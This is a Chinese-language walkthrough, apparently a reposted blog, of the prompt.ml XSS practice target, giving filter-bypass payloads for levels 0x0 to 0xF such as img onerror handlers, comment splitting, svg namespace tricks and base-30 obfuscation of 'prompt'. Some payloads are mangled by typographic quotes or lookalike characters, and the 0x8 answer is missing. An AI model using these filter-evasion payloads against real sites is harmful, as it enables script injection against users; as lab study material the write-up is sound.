线上靶机prompt.ml
使用的靶場(chǎng)網(wǎng)址:http://prompt.ml/0
0x0
這關(guān)沒(méi)有任何的過(guò)濾,就直接閉合輸出就行,但是后面多余的引號(hào)和尖括號(hào)需要注釋掉。
a"><!–
0x1
這一關(guān)過(guò)濾掉了以尖括號(hào)包裹著的所有字符,所以script這種標(biāo)簽就用不了了。所以可以嘗試使用img標(biāo)簽。
<img type=“image” src=1 οnerrοr=prompt(1)//
0x2
這一關(guān)將這**“[”“(”**兩個(gè)符號(hào)進(jìn)行了過(guò)濾,所以就沒(méi)有辦法使用,可以使用反引號(hào)來(lái)代替括號(hào)。
<script>eval.call`${‘prompt\u00281)’}`</script>
0x3
這一關(guān)是將注釋符號(hào)給過(guò)濾成了下劃線,同樣也是一個(gè)小技巧,也可以使用“–!>”來(lái)進(jìn)行注釋。
–!><script>prompt(1)</script><!–
0x4
這一關(guān)必須以**http://prompt.ml/**為開(kāi)頭才可以進(jìn)行輸入,可以使用@符號(hào)來(lái)連接外部文檔來(lái)進(jìn)行繞過(guò)。注意的是,可能在寫(xiě)的過(guò)程中,/可能不會(huì)被識(shí)別,換成編碼的形式就可以了。
http://prompt.ml%2f@localhost/test.js
test.js文件里面就寫(xiě)一個(gè)prompt(1)就可以了。
0x5
這一關(guān)也是將>和以on開(kāi)頭,=結(jié)尾的字符給換成了=號(hào),所以利用換行就可以了。
1"type="image"src=1 onerror
=“prompt(1)”
0x6
這個(gè)例子說(shuō)了,要輸入一個(gè)形狀向** http://httpbin.org/post#{“name”:“Matt”}的語(yǔ)句,并且這個(gè)#號(hào)將這一串分成了一個(gè)數(shù)組。然后這個(gè)fromURL取這個(gè)數(shù)組的第0位,然后formdata取數(shù)組的第一位;也就是說(shuō),如果輸入的是 http://httpbin.org/post#{“name”:“Matt”}那么數(shù)組0就是: http://httpbin.org/post**,數(shù)組1就是:{“name”:“Matt”}。然后創(chuàng)建了from元素,并且將URL給了fronaction,模式寫(xiě)為post;然后對(duì)fromData做了循環(huán),然后創(chuàng)建了一個(gè)i,并且讓input.name=i,這個(gè)i就是fromdata對(duì)象里的key值,也就是name,然后給value賦值為fromData的值,也就是Matt。以上這些步驟就相當(dāng)于創(chuàng)建了一個(gè)from表單。然后就是查看你一個(gè)表單,并且使用action,也就是如果你這個(gè)表單里不包含script或者data的話,就輸出,如果有的話,就返回下面那一句話。
但是正產(chǎn)情況下使用javascript:prompt(1)的時(shí)候,他是可以輸出的,但是在這里,他沒(méi)有辦法繞過(guò)那個(gè)判斷;可以使用action來(lái)蓋住剛剛那個(gè)action,也就是如果action的值相同的時(shí)候,后一個(gè)會(huì)把前一個(gè)給覆蓋掉。所以這一關(guān)就是使用后一個(gè)action將前一個(gè)action的特性給覆蓋掉。
javascript:prompt(1)#{“action”:“aaaaa”}
0x7
這一個(gè)也給你舉例了一個(gè)輸出的格式形如dog#cat#bird#mouse…,并且這個(gè)對(duì)每一個(gè)p標(biāo)簽都進(jìn)行了一個(gè)字符限制,不可以超過(guò)12個(gè)字符,這樣就可以使用注釋的方式,將多余的內(nèi)容給注釋掉,剩下的就可以拼湊成想要的樣子。
"><\script>/#/prompt(/#/1)/#/</script>
這里就相當(dāng)于第一個(gè)注釋符注釋的是
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>“></p>
第二個(gè)注釋的內(nèi)容是:
<p class=“comment” title=”“><script>/*”></p>
<p class=“comment” title=“*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*”></p>
<p class=“comment” title=“*/</script>”></p>
第三個(gè)注釋的內(nèi)容是:
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>"></p>
最后拼成的就是:"><script>prompt(1)</script>
0x8
這里的\r\n的意思是換到下一行的時(shí)候從開(kāi)頭開(kāi)始輸入。
然后這一關(guān),將這個(gè)給過(guò)濾掉為空了。并且把
<,/ 和‘"’ 給過(guò)濾掉了。這就用到了js的一個(gè)只是點(diǎn):直接輸入u2028和u2029
javascript字符串允許直接輸入字符,以及字符的轉(zhuǎn)義形式。但是javascript中有5個(gè)字符規(guī)定了不能在字符串中直接使用,只能使用他們的轉(zhuǎn)義形式
所以這個(gè)輸入就是這樣式的:
將下面的復(fù)制,粘貼到答案上就可以了。
0x9
這一關(guān)是將以<開(kāi)頭并且后面接字母的都變成了<后面接一個(gè)下劃線,并且字母全部變?yōu)榇髮?xiě)。那就不讓<后面接字母,可以使用?轉(zhuǎn)換為s。如果出不來(lái),換個(gè)瀏覽器試試。
<?cript src=“http://127.0.0.1/test.js”></?cript>
0xA
這一關(guān)將prompt過(guò)濾成了alert,并配還把單引號(hào)給注釋掉了,這就給我們使用了一個(gè)方便,也就是我們可以使用單引號(hào)將prompt給分開(kāi),反正單引號(hào)也會(huì)被省略。
pro’mpt(1)
0xB
這一關(guān)使用了一個(gè)小技巧,
"(prompt(1))in"使用這個(gè)可以進(jìn)行彈窗。
0xC
這一關(guān)也是將單引號(hào)忽略了,然后將prompt轉(zhuǎn)為了alert,但是不同的是,這是先過(guò)濾,在替換;這樣就不可以了。
這里就可以使用一種函數(shù),就是相當(dāng)于將英文轉(zhuǎn)換為十進(jìn)制樹(shù)數(shù)
eval(630038579…toString(30))(1)
parselnt:解析一個(gè)字符串并返回指定基數(shù)的十進(jìn)制整數(shù),并且進(jìn)制數(shù)的范圍是2-26.
但是我們?cè)谵D(zhuǎn)換prompt的時(shí)候,在26之前是沒(méi)有數(shù)的,顯示的都是NAN,但是在26之后就有值了;這是因?yàn)樗D(zhuǎn)換是由0-9+a-z組成的,而p是字母的第16位,然后加上前面的10個(gè)字符,就等于26,所以才從第26位開(kāi)始,
這里可能不好理解,就好比十六進(jìn)制,他的最大的字母F,f拍在第6位,加上前面那個(gè)就是16進(jìn)制
為什么這里要寫(xiě)30進(jìn)制,因?yàn)閜rompt最后一個(gè)字母是t,排在字母表的第20位置,加上前面的10個(gè)數(shù)就是30;如果使用小于30的數(shù),就不包括了t,這樣就不完整了。
0xF
這一關(guān)同樣是給了輸出格式,并且限制了p標(biāo)簽里的字符輸入最大不超過(guò)15.并且他過(guò)濾掉了上一個(gè)使用的注釋符號(hào),但是可以使用<!-- -->注釋方式,但是我使用和第7個(gè)處理方式一樣的方法的時(shí)候,他沒(méi)有成功,各中嘗試之后,還是不成功,:
"><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>
但是加一個(gè)<svg>就可以了,因?yàn)樵趆tml中有三個(gè)命名空間,分別是html、svg和MathML,這三個(gè)空間可以進(jìn)行轉(zhuǎn)換,因?yàn)檫@句話在執(zhí)行剛剛那個(gè)語(yǔ)句的時(shí)候,他是只有第一個(gè)注釋符起了作用,其余的寫(xiě)在script標(biāo)簽里面的注釋符是沒(méi)有生效的,切換到svg空間是因?yàn)閟vg的語(yǔ)法規(guī)范是遵循XML語(yǔ)句的,而XML中是支持<!-- 這樣的編碼,所以這是需要加入一個(gè)svg標(biāo)簽。
"><svg><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>
所以嘗試了模板字符串的方式,結(jié)果成了
"><script>`${prompt(1)}`</script>
總結(jié)
以上是生活随笔為你收集整理的线上靶机prompt.ml的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 计算机开机跳过硬盘检查,怎么跳过开机硬盘
- 下一篇: 微信小程序开发工具安装详解